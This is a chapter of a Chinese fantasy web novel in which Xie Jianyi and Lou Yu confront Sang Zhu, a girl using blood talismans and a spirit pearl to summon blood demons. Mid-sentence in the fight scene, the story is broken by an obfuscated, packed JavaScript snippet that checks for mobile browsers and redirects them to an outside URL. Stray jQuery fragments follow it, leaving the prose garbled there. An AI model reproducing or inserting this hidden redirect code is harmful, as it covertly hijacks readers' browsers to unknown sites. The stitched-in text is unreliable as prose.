绿水被她无情捏嘴,立即连连点头,以示自己不再继续哭嚎,谢荐衣这才同意松手。


    泪珠在谢荐衣襟领留下浅浅水渍,她费劲抬起头颅,看向一个劲地用袖子拭泪的蛙女,后者一直小声道:“小主人……”


    头疼欲裂,光怪陆离的记忆碎片还在她眼前闪回,仿佛下一瞬又会再次坠入虚无,那样清晰深刻,似乎她也跟着师尊经历了一遭他的过往。


    “我是从幻境出来了还是掉入了另一个,你们为什么这么喊我。”


    “能触动殿内月烛香,您一定是神女的血脉。”


    蛙女将供案前一支烛台指给她看,那烛花又细又亮,缓缓流下的烛泪犹如红梅。


    “蛙女在此守护河祠数百年,恰逢小主人现身,引灵珠却不翼而飞!蛙女罪该万死,还请小主人降罪!”


    袖珍女妖悲怆下拜,不久前神气活现的绿水也恭敬地随之拜下。


    “什么血脉……?”


    将视线从烛台移回来,谢荐衣便见以头抢地的二妖,瞬时使一道灵力将她们托起。


    “算了不重要,师尊手里的半个引灵珠在我手中,现下只要找到另外半个就好。”


    “敢问小主人的师尊是何方神圣,怎么会有持有神女宝物引灵珠。”绿水惊道。


    “喏。”谢荐衣努努嘴,指向门扇上精心漆画的高大侧影,“这门上的就是了。”


    “原来您不仅是神女血脉,还是大侠的徒弟!”绿水蹦跳几下,声音里充满真切的激动。


    “是啊,我是我师尊的徒弟。而且另外半个……”谢荐衣话音一滞,也猛地跳起来,火烧眉毛般从腰间取下锦囊。


    刚解开袋口,她把头探进去,一枚铜钱使劲从袋中蹦出来,正正弹在谢荐衣眉心,留下一道红痕。


    给了她一个响亮的脑瓜蹦儿。


    “嗷!”谢荐衣吃痛捂住额头,绿水如临大敌:“何方妖物,胆敢伤小主人!”


    “小姑娘快回来,剩下半枚引灵珠现形了。”


    山花鬼钱咻咻翻转,谢荐衣识海内收到一条传音。


    *


    谢荐衣将不停说着“带上我们吧,我们有用”的二妖囫囵塞进袖中,束紧衣袖,一边御风赶路一边回复楼雨,“这就来!”


    对面传来言简意赅的四个字:“桑府主屋。”


    境中几年,镇上其实只过了一夜,晨光熹微,街道上满是未干的雨痕,人群散去,显得寥落。


    顺着来路,谢荐衣像一只轻巧的雨燕从檐上掠过,翻进白墙黑瓦的桑府。她从主屋侧面的轩窗长驱直入,一经落地便听到袖中传来压抑不住的一声:“哕……”


    “绿水,你要是吐在我袖筒里我就把你淹进桑府池塘里。”谢荐衣用极轻的气音说着,悄悄向内室走去。


    床榻上桑义和缩在一角,他盖着绣鸳鸯图的锦衾,见到谢荐衣到来往榻里缩了缩,脸上满是惊惧。


    “不,不....”


    “来了。”楼雨握着长杆烟斗,翘腿窝在对面的茶垫上。


    “他怎么了?”谢荐衣坐在她身旁,伸手挥了挥盈满屋内的紫色烟雾,才发觉那紫烟根本不流动,像是凝固了般滞留在楼雨周围,屋内有一股刚踩踏过的青草味道。


    “按我们说好的那样,在我见到想见之人前,你若是还没想好,那就不用再想了。”


    “想好了,想好了!”桑义和慌忙道。


    “钱财给你,你放我出去,我唤人取来给你!我不用你帮我避祸,你拿了钱快快走吧....”


    “那可不行。我这人讲究以物易物,绝不是那等横行无忌的妖,虽不一定誓死践诺,不过钱帛给我,祸我自然替你避上一避。至于我何时离府,那要看你表现了。”


    “父亲!”门外传来茶盏破碎的声音,端着托盘的少女瞪大双眸,盯着面前这怪异的局面。


    室内冒着诡谲的紫雾,两位一看就不是善茬的女子坐在雾中,一个拿着烟杆,一个用绒布擦刀,而桑府老爷桑义和瑟瑟发抖着,尽力减轻自己的存在感。


    喊叫一出,屋内外皆有片刻的宁静,地上的碎瓷间茶水还冒着氤氲的热气。


    谢荐衣袖中的蛙女绿水二人突然急急揪住谢荐衣的袖子,唤道:“小主人!”


    桑义和率先回过神来。


    “桑竹,乖女儿,快去喊人,去府衙找驱灵法师!”桑义和扯着嗓子大吼道。


    门口的小女孩似乎被吓傻了,她并未随言离去,回过神来反而急急迈进屋内,挡在二女和桑义和之间,焦急的泪夺眶而出:“你们这是要做什么。”


    “我们?我们只是拿钱办事。”楼雨微笑道。


    桑竹伸手去拽床榻间的桑义和,“父亲,你快走,我拖住她们!”


    中年男子颤巍巍地起身,就要躲至女孩身后,“好、好,我马上带人来救你,女儿....你坚持一下!”


    “老头,”楼雨看着这对相亲相爱的父女,“我劝你别碰到你女儿。”


    桑竹急切的动作停下了,她愣在原地,逆着光影,看不清表情。


    将要触碰到桑义和的那只手放下了。


    良久,端庄少女抬起头,温良恭顺的脸上只有眼眸是冷的。


    那瞳仁黑亮,透出一股超乎年纪的森寒。


    “你们怎么找到这里的,真缠人。”


    这才对味,楼雨终于抬起脸看向女孩,欣慰地掀了掀唇角。


    月枝是举世闻名的凶兽,能驭她引灵珠的,虽手法稚嫩,却不是软弱之辈。


    就在这时,二妖同步朝谢荐衣传音,震耳欲聋地回荡在她脑中:“引灵珠....就在她身上!”


    怎渡刀被谢荐衣拇指一顶滑出刀鞘,发出‘铮’地一声,青天白日里,女孩身后的影子被日光一点一滴拉长,变成一只血魔。


    桑竹从裙裾腰带里取出一张符,那符形态特殊,经她念咒,府内布下的祥和气韵接连涌入符中,从另一端再次现出时,已化为汹涌魔气。


    府外天幕无端被密布的黑雾蒙上,莲溪镇白昼变为黑夜。


    “这里是我家,欢迎你们来做客。”女孩微笑起来,脸颊连同脖颈都爬满血红怖纹,像一只冰裂纹的花瓶。


    榻上的桑义和两眼一翻,干脆地晕厥过去了。


    谢荐衣扭头冲入魔雾,一刀挥向血魔。


    那魔生了灵智,见她过来,疾退融进墙影里,怎渡刀碰不到它,它桀桀笑着,一爪从墙内袭向谢荐衣肩头!


    少女矮身一让,刀火腾地燃烧,向着血魔之爪而去,血魔感应到火,瑟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089970|161804||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缩一息,无声地返回墙内。


    整面墙内可见血魔的魔气流淌,游曳着,像是在思考如何进食的巨蟒。


    它忌惮谢荐衣的火。


    于是,转而游向床帐内的桑义和,尖爪掏向心膛!


    候在一旁的楼雨手中烟杆飞旋至空中,她双手翻飞结印,紫烟中幻化出数只乌紫润亮的乌鸦,啸叫着朝那血魔而去。


    刀触不到,乌鸦的尖喙却能透过影啄到血魔本体,无数只一齐扑上,翅膀扑棱声中,在魔身上留下一个个血洞,将它强行拖出墙。


    甫一现形,魔身立即被呼啸而来的怎渡双刀斩获。


    “说好了避祸,诚不欺叟吧?”楼雨看了眼不再装晕、而是快被吓断气的桑义和,“好了,钱货两迄,你的万贯家财从此易主了。”


    男人呜咽着,庆幸保住了命,而后又痛心起财产来,完全不敢抬眸看已经面目全非的女儿。


    桑竹却连控符的手都未抖上一抖,心魔以恶念为食,魔气源源不断,没了一个血魔还能有下一只,她身上最不缺的就是怨恨。


    血魔虽多,却并不难对付,接连亡于刀和烟杆下,楼雨看向谢荐衣:“抽刀断水,水如何能止?你明知引灵珠只你能取得,袖中妖也提醒你了,为何不对她出手?”


    被说中的谢荐衣:“.......”


    “我见识过你刀法,很有劲气,你这般行事,分明是对她有恻隐之心。”


    没了帷幕遮挡,对于楼雨来说,谢荐衣想什么简直像写在脸上,只听少女闷闷道:“她像我的友人,尤其是用符的样子。”


    楼雨轻笑了一声,她从魔域一路收割人头赶来时,可没人告诉她狏即是这么个天真良善、涉世未深的模样。


    小孩子心性,如何在这遍地杀机间行走。


    “那她这魔气熏心、杀人剖尸的模样也像咯?”


    不像,雁桃从不用血画邪符,她的符纸总有桃花香气,符笔下是最净澈的灵力。


    “给我一点时间。”谢荐衣道。


    “你能驭使引灵珠,又能画血符,是很有天赋的人修。”谢荐衣用火单手灭魔,向桑竹走去,“能告诉我为何要杀他们吗?”


    “以你的天赋,若不生心魔,是可以进四大仙门的。假以时日,一定会有所成就。”


    那双空洞的眼望向谢荐衣。


    也许是自知不敌,间或是年岁相差并不算大,桑竹眨眼,对着面前谢荐衣开了口。


    “我找不到不杀他们的理由。他们体内的血每时每刻都在呼唤我....诱惑我....催促我快点下手。”


    “为什么要让我生下来呢?”大限将至,那双用来描画的手也爬了魔纹,桑竹不由自主喃喃着。


    这也是她作画时最常思考的问题。


    “既然没有一个人为了我的降生而真心实意地快乐,那我何必存活于世。”


    三岁能文,五岁论道,前院后宅、乃至镇上发生的所有事情她都看得很分明,她知道自己不被父母疼爱,甚至无人真正在意她。为何大人总觉得她年轻懵懂,就肆无忌惮在她面前展现丑恶?


    渐渐地,看得更多,她明白了。


    “人活在世上,就是为了承受痛苦。他们是因为恨我,才会让我降临人间。”桑竹说。